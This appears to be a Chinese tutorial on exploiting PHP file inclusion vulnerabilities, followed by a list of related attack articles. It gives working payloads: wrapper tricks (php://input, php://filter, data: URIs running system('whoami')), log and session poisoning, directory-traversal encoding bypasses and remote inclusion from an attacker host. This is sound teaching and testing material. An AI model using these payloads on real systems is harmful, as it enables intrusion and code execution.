1. 程式人生 > >PHP漏洞全解————10、PHP檔案包含漏洞

PHP漏洞全解————10、PHP檔案包含漏洞

基本

相關函式<>

php中引發檔案包含漏洞的通常是以下四個函式:

reuqire() 如果在包含的過程中有錯,比如檔案不存在等,則會直接退出,不執行後續語句。


include() 如果出錯的話,只會提出警告,會繼續執行後續語句。


require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個檔案已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函式重定義或變數重賦值等問題。

當利用這四個函式來包含檔案時,不管檔案是什麼型別(圖片、txt等等),都會直接作為php檔案進行解析。測試程式碼:

<?php
    $file = $_GET['file'];
    include $file;
?>
在同目錄下有個phpinfo.txt,其內容為<? phpinfo(); ?>。則只需要訪問:
index.php?file=phpinfo.txt

即可成功解析phpinfo。


場景

  • 具有相關的檔案包含函式。
  • 檔案包含函式中存在動態變數,比如 include $file;
  • 攻擊者能夠控制該變數,比如$file = $_GET['file'];

分類

LFI(Local File Inclusion)

本地檔案包含漏洞,顧名思義,指的是能開啟幷包含本地檔案的漏洞。大部分情況下遇到的檔案包含漏洞都是LFI。簡單的測試用例如前所示。

RFI(Remote File Inclusion)

遠端檔案包含漏洞。是指能夠包含遠端伺服器上的檔案並執行。由於遠端伺服器的檔案是我們可控的,因此漏洞一旦存在危害性會很大。
但RFI的利用條件較為苛刻,需要php.ini中進行配置

  • allow_url_fopen = On
  • allow_url_include = On

兩個配置選項均需要為On,才能遠端包含檔案成功。


在php.ini中,allow_url_fopen預設一直是On,而allow_url_include從php5.2之後就預設為Off。

包含姿勢

下面例子中測試程式碼均為:

<?php
    $file = $_GET['file'];
    include $file;
?>

allow_url_fopen 預設為 On
allow_url_include 預設為 Off

若有特殊要求,會在利用條件裡指出。

php偽協議

php://input

利用條件:

  • allow_url_include = On。
  • 對allow_url_fopen不做要求。

姿勢:

index.php
?file=php://input

POST:
<? phpinfo();?>


php://filter

利用條件:無甚
姿勢:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通過指定末尾的檔案,可以讀取經base64加密後的檔案原始碼,之後再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感檔案危害也是挺大的。


>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他姿勢:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了read等關鍵字。在繞過一些waf時也許有用。

phar://

利用條件:

  • php版本大於等於php5.3.0

姿勢:

假設有個檔案phpinfo.txt,其內容為<?php phpinfo(); ?>,打包成zip壓縮包,如下:

指定絕對路徑

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
或者使用相對路徑(這裡test.zip就在當前目錄下)
index.php?file=phar://test.zip/phpinfo.txt

zip://

利用條件:

  • php版本大於等於php5.3.0

姿勢:
構造zip包的方法同phar。

但使用zip協議,需要指定絕對路徑,同時將#編碼為%23,之後填上壓縮包內的檔案。


若是使用相對路徑,則會包含失敗。

data:URI schema

利用條件:

  • php版本大於等於php5.2
  • allow_url_fopen = On
  • allow_url_include = On

姿勢一:

index.php?file=data:text/plain,<?php phpinfo();?>

執行命令:

index.php?file=data:text/plain,<?php system('whoami');?>

姿勢二:

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加號+的url編碼為%2bPD9waHAgcGhwaW5mbygpOz8+的base64解碼為:<?php phpinfo();?>


執行命令:

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解碼為:<?php system('whoami');?>

包含session

利用條件:session檔案路徑已知,且其中內容部分可控。

姿勢:

php的session檔案的儲存路徑可以在phpinfo的session.save_path看到。


常見的php-session存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

session的檔名格式為sess_[phpsessid]。而phpsessid在傳送的請求的cookie欄位中可以看到。


要包含並利用的話,需要能控制部分sesssion檔案的內容。暫時沒有通用的辦法。有些時候,可以先包含進session檔案,觀察裡面的內容,然後根據裡面的欄位來發現可控的變數,從而利用變數來寫入payload,並之後再次包含從而執行php程式碼。

包含日誌

訪問日誌

利用條件: 需要知道伺服器日誌的儲存路徑,且日誌檔案可讀。

姿勢:

很多時候,web伺服器會將請求寫入到日誌檔案中,比如說apache。在使用者發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。預設情況下,日誌儲存路徑在 /var/log/apache2/。

但如果是直接發起請求,會導致一些符號被編碼使得包含無法正確解析。可以使用burp截包後修改。


正常的php程式碼已經寫入了 /var/log/apache2/access.log。然後進行包含即可。


在一些場景中,log的地址是被修改掉的。你可以通過讀取相應的配置檔案後,再進行包含。

SSH log

利用條件:需要知道ssh-log的位置,且可讀。預設情況下為 /var/log/auth.log

姿勢:

用ssh連線:

[email protected]:~$ ssh '<?php phpinfo(); ?>'@remotehost

之後會提示輸入密碼等等,隨便輸入。
然後在remotehost的ssh-log中即可寫入php程式碼:


之後進行檔案包含即可。

包含environ

利用條件:

  • php以cgi方式執行,這樣environ才會保持UA頭。
  • environ檔案儲存位置已知,且environ檔案可讀。

姿勢:

proc/self/environ中會儲存user-agent頭。如果在user-agent中插入php程式碼,則php程式碼會被寫入到environ中。之後再包含它,即可。

可以參考這個:

包含fd

跟包含environ類似。

包含臨時檔案


php中上傳檔案,會建立臨時檔案。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時檔案被刪除之前,利用競爭即可包含該臨時檔案。

由於包含需要知道包含的檔名。一種方法是進行暴力猜解,linux下使用的隨機函式有缺陷,而window下只有65535中不同的檔名,所以這個方法是可行的。

另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳檔案的儲存路徑和臨時檔名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance

包含上傳檔案

利用條件:千變萬化,不過至少得知道上傳的檔案在哪,叫啥名字。。。

姿勢:

往往要配合上傳的姿勢,不說了,太多了。

其餘

一個web服務往往會用到多個其他服務,比如ftp服務,資料庫等等。這些應用也會產生相應的檔案,但這就需要具體情況具體分析咯。這裡就不展開了。

繞過姿勢

接下來聊聊繞過姿勢。平常碰到的情況肯定不會是簡簡單單的include $_GET['file'];這樣直接把變數傳入包含函式的。在很多時候包含的變數/檔案不是完全可控的,比如下面這段程式碼指定了字首和字尾:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

這樣就很“難”直接去包含前面提到的種種檔案。

指定字首

先考慮一下指定了字首的情況吧。測試程式碼:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

目錄遍歷

這個最簡單了,簡要的提一下。

現在在/var/log/test.txt檔案中有php程式碼<?php phpinfo();?>,則利用../可以進行目錄遍歷,比如我們嘗試訪問:

include.php?file=../../log/test.txt
則伺服器端實際拼接出來的路徑為:/var/www/html/../../log/test.txt,也即/var/log/test.txt。從而包含成功。

編碼繞過

伺服器端常常會對於../等做一些過濾,可以用一些編碼來進行繞過。下面這些總結來自《白帽子講Web安全》。

  • 利用url編碼
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次編碼
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/伺服器的編碼方式
    • ../
      • %c0%ae%c0%ae/
        • 注:java中會把”%c0%ae”解析為”\uC0AE”,最後轉義為ASCCII字元的”.”(點)
        • Apache Tomcat Directory Traversal
    • ..\
      • ..%c1%9c

指定字尾

接著考慮指定字尾的情況。測試程式碼:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

URL

url格式

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在遠端檔案包含漏洞(RFI)中,可以利用query或fragment來繞過後綴限制。

姿勢一:query(?)

index.php?file=http://remoteaddr/remoteinfo.txt?
則包含的檔案為 http://remoteaddr/remoteinfo.txt?/test/test.php
問號後面的部分/test/test.php,也就是指定的字尾被當作query從而被繞過。

姿勢二:fragment(#)

index.php?file=http://remoteaddr/remoteinfo.txt%23
則包含的檔案為 http://remoteaddr/remoteinfo.txt#/test/test.php
問號後面的部分/test/test.php,也就是指定的字尾被當作fragment從而被繞過。注意需要把#進行url編碼為

相關推薦

PHP漏洞————10PHP檔案包含漏洞

基本相關函式<>php中引發檔案包含漏洞的通常是以下四個函式:reuqire() 如果在包含的過程中有錯,比如檔案不存在等,則會直接退出,不執行後續語句。include() 如果出錯的話,只會提出警告,會繼續執行後續語句。require_once() 和 incl

PHP漏洞—————9檔案上傳漏洞

本文主要介紹針對PHP網站檔案上傳漏洞。由於檔案上傳功能實現程式碼沒有嚴格限制使用者上傳的檔案字尾以及檔案型別,導致允許攻擊者向某個可通過 Web 訪問的目錄上傳任意PHP檔案,並能夠將這些檔案傳遞給 PHP直譯器,就可以在遠端伺服器上執行任意PHP指令碼,即檔案上傳漏洞。 一套web應用程式,一般都會提供

PHP檔案包含漏洞攻防實戰(allow_url_fopenopen_basedir)

摘要 PHP是一種非常流行的Web開發語言,網際網路上的許多Web應用都是利用PHP開發的。而在利用PHP開發的Web應用中,PHP檔案包含漏洞是一種常見的漏洞。利用PHP檔案包含漏洞入侵網站也是主流的一種攻擊手段。本文對PHP檔案包含漏洞的形成、利用技巧及防範進行了詳細的

PHP漏洞(五)-SQL注入攻擊【轉】

轉自:https://www.cnblogs.com/pingliangren/p/5586987.html SQL注入攻擊(SQL Injection),是攻擊者在表單中提交精心構造的sql語句,改動原來的sql語句,如果web程式沒有對提交的資料經過檢查,那麼就會造成sql注入攻擊。 S

PHP漏洞(四)-xss跨站指令碼攻擊【轉】

轉自:https://www.cnblogs.com/pingliangren/p/5586977.html XSS(Cross Site Scripting),意為跨網站指令碼攻擊,為了和樣式表css(Cascading Style  Sheet)區別,縮寫為XSS 跨站指令碼主

PHP漏洞(三)-客戶端指令碼植入【轉】

轉自https://www.cnblogs.com/pingliangren/p/5586973.html 客戶端指令碼植入(Script Insertion),是指將可以執行的指令碼插入到表單、圖片、動畫或超連結文字等物件內。當用戶開啟這些物件後,攻擊者所植入的指令碼就會被執行,進而開始攻擊。

PHP漏洞(二)-命令注入攻擊【轉】

轉自:https://www.cnblogs.com/pingliangren/p/5586943.html 命令注入攻擊 PHP中可以使用下列5個函式來執行外部的應用程式或函式 system、exec、passthru、shell_exec、``(與shell_exec功能相同)

PHP漏洞(一)PHP網站的安全性問題【轉】

轉自 https://www.cnblogs.com/pingliangren/p/5586940.html 本文主要介紹針對PHP網站常見的攻擊方式,包括常見的sql注入,跨站等攻擊型別。同時介紹了PHP的幾個重要引數設定。後面的系列文章將站在攻擊者的角度,為你揭開PHP安全問題,同

PHP漏洞(一)-PHP網站安全性問題

命令注入攻擊 PHP中可以使用下列5個函式來執行外部的應用程式或函式 system、exec、passthru、shell_exec、“(與shell_exec功能相同) 函式原型 string system(string command, int

PHP漏洞(三)-xss跨站指令碼攻擊

本文主要介紹針對PHP網站的xss跨站指令碼攻擊。 跨站指令碼攻擊是通過在網頁中加入惡意程式碼,當訪問者瀏覽網頁時惡意程式碼會被執行或者通過給管理員發信息 的方式誘使管理員瀏覽,從而獲得管理員許可權,控制整個網站。 攻擊者利用跨站請求偽造能夠輕鬆地強迫使用者

nginxphp-fpm和mysql用戶權限

最好 article 獲取 設置 .com 組成 例子 控制 amp 通常情況下,我們運行web應用的服務器有CentOS、Ubuntu、Debian等等的Linux發行版本。這時候,構成服務架構所必須的Nginx、php和MySQL等應用的權限控制就顯得非常重要,各個服務

bugku-flag在index裡(本地檔案包含漏洞+php偽協議)

題目地址http://123.206.87.240:8005/post/ click點選進去 從 url地址可以猜測,需要用到 php://filter偽協議。 用法: php://filter/read=convert.base64encode/resourc

php://filter(檔案包含漏洞利用)

 檔案包含漏洞:https://blog.csdn.net/fageweiketang/article/details/80699051 篩選過濾應用:  1、 字串過濾器: string.rot13 對字串執行ROT13轉換 string.to

php檔案包含漏洞(利用phpinfo)復現

 利用docker復現該漏洞,訪問http://192.168.80.156:8080/phpinfo.php,可以看到頁面出現phpinfo頁面 再訪問http://192.168.80.156:8080/lfi.php?file=/etc/passwd,可以看到該頁面是存在檔案包含漏洞的。

web安全————PHP安全之檔案包含漏洞

    PHP安全問題     PHP由於靈活的語法成為目前非常流行的WEB開發語言,應用非常廣泛。也是由於這個特點讓PHP給安全工作帶來了一些困擾。下面討論PHP自身的語言問題。     檔案包含漏洞:     檔案包含漏洞也是程式碼注入的一種,程式碼注入的原理是注入一段

php-fpm的pool池子php慢日誌記錄open_basedirphp-fpm進程管理

設置 children nmp In 找不到 AD specified 加載 scrip 1、php-fpm的poo池子:目的:可以讓不同的網站,對於不同的php解析,可以把不同的網站解析區分開。編輯:vim /usr/local/php5-fpm/etc/php-fpm.

檔案包含漏洞

原文作者: m4r10 http://hi.baidu.com/m4r10 轉載請註明版權 &&&遠端檔案包含漏洞&&& 一、 什麼才是"遠端檔案包含漏洞"?回答是:伺服器通過php的特性(函式)去包含任意檔案時,由於要包含的這個檔案來源過

Kali學習筆記31:目錄遍歷漏洞檔案包含漏洞

文章的格式也許不是很好看,也沒有什麼合理的順序 完全是想到什麼寫一些什麼,但各個方面都涵蓋到了 能耐下心看的朋友歡迎一起學習,大牛和槓精們請繞道   目錄遍歷漏洞: 應用程式如果有操作檔案的功能,限制不嚴格會導致可以訪問到WEB目錄意外的檔案 目錄遍歷漏洞和檔案包含漏洞本質以及利用方法一

檔案上傳漏洞 --- IISApacheNginx 檔案解析漏洞

解析漏洞:將格式進行變換解析 解析條件:1.搭建平臺 2.命名規則 iis apache uginx iis6.0 檔案正常地址: 觸發漏洞地址: 資料夾正常地址: 觸發漏洞地址: iis7.x uginx Apache(向上

Weblogic漏洞之弱口令任意檔案讀取上傳shell

弱口令 環境啟動後,訪問http://192.168.1.15:7001/console/login/LoginForm.jsp,即為weblogic後臺。 本環境存在弱口令可以直接登入: weblogic [email protected]